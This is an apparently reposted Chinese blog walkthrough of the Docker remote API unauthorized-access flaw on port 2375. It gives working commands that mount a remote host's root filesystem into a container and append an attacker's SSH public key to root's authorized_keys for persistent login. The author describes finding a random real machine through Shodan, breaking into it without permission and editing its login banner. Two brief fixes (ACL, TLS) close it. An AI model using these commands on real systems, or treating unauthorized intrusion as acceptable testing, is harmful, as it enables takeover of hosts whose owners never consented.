Docker_remote_api未授權訪問漏洞


docker remote  api主要的目的是取代命令行界面,

docker client和docker daemon通過unix domain socket進行通信.

默認情況下,只有本機的root和docker組用戶才能操作docker.

 

0x01漏洞成因
1. dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
2. docker守護進程監聽在0.0.0.0,外網可訪問
3.沒有使用iptable等限制可連接的來源ip。

 

0x02漏洞危害及常見的攻擊方式
1.遠程對被攻擊主機的docker容器進行操作

docker  -H tcp://*.*.*.*:2375 images

2.遠程啟動被攻擊主機的docker容器,並掛載宿主機的目錄,通過容器來修改宿主機的author ized_ keys文件,寫入公鑰。

docker H tcp://*.*.*.*:2375 run -it-v /:/mnt imagelD /bin/bash

 

 

具體的步驟是:

我沒有自己搭建環境做測試,在shodan搜索port:2375找了一台機器,再找X國的機器,再找對應product是docker的主機,隨機找了1台,可以看到宿主機的鏡像,然后開始利用漏洞:

 

 

其實有很多,找到這些后在本地裝有docker的機器上使用如下命令開始測試:

docker -H tcp://x.x.x.x:2375 images 

能看到宿主機的鏡像,說明漏洞存在

開始利用:

在宿主機上啟動docker容器:

 docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt 113a43faa138 /bin/bash        (113a43faa138為images ID )

 

這條命令的意思是啟動一個image ID 113a43faa138的容器,並且將該宿主機的根目錄掛在到容器的/mnt目錄下

啟動之后就會獲得該容器宿主機的shell:

 

然后進入 cd /root/mnt 目錄

接下來開始創建免密鑰登錄文件(將本地的公鑰存放在被入侵的服務器上)

mkdir .ssh   目錄

假如存在.ssh文件夾,則進入該文件夾修改authorized_keys文件,將本地生成公鑰字符串放入改文件中,

 

root@180d2dd6287a:/mnt/root/.ssh# vi authorized_keys
bash: vi: command not found
root@180d2dd6287a:/mnt/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNtdT1CyvMJTAHlhE2jZXSlIFG+FebBgLezKiEkl+XHt7BEwjwoRmT9q1cEtjTZe/DdfDS6kW9nzZwN3wxC5KSMppq0NS19MGnr9DrUkv2tAlXuwkVLPRZeKCMODEOI9ZeEwEz71PWD0MX7EkDBJxC+9FfWHvxCcXu+xyuj/f3j8zwScOCR0SqQfNp013j7CI/4ZYzzkMzcpI6LBo/jv0A/Hp3ODYdc8Urn6u4ZBzze1UAH27shx/I/6GBWMt9TLFgHvdXtEBD7r+vmQIMJxBXR8pZpuvCU54j3+NTi15LMWyY5ar/jOB9EEdIgdmRk4Ccqv92XQQ/1 root@zabbix-mysql-master-88 >>authorized_keys

# 這里使用追加的方式(>>)

 

替換成功,接下來在本地機器上使用命令:

Ssh root@x.x.x.x 登錄,順利登錄:

隨后修改了該機器的/etc/issue登錄提示文件,告訴機主該機器docker存在漏洞,貌似目前已修復

 

修復方法:

1、設置ACL,只允許信任ip連接對應端口

2、開啟TLS,使用生成的證書進行認證

https://docs.docker.com/engine/security/https/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM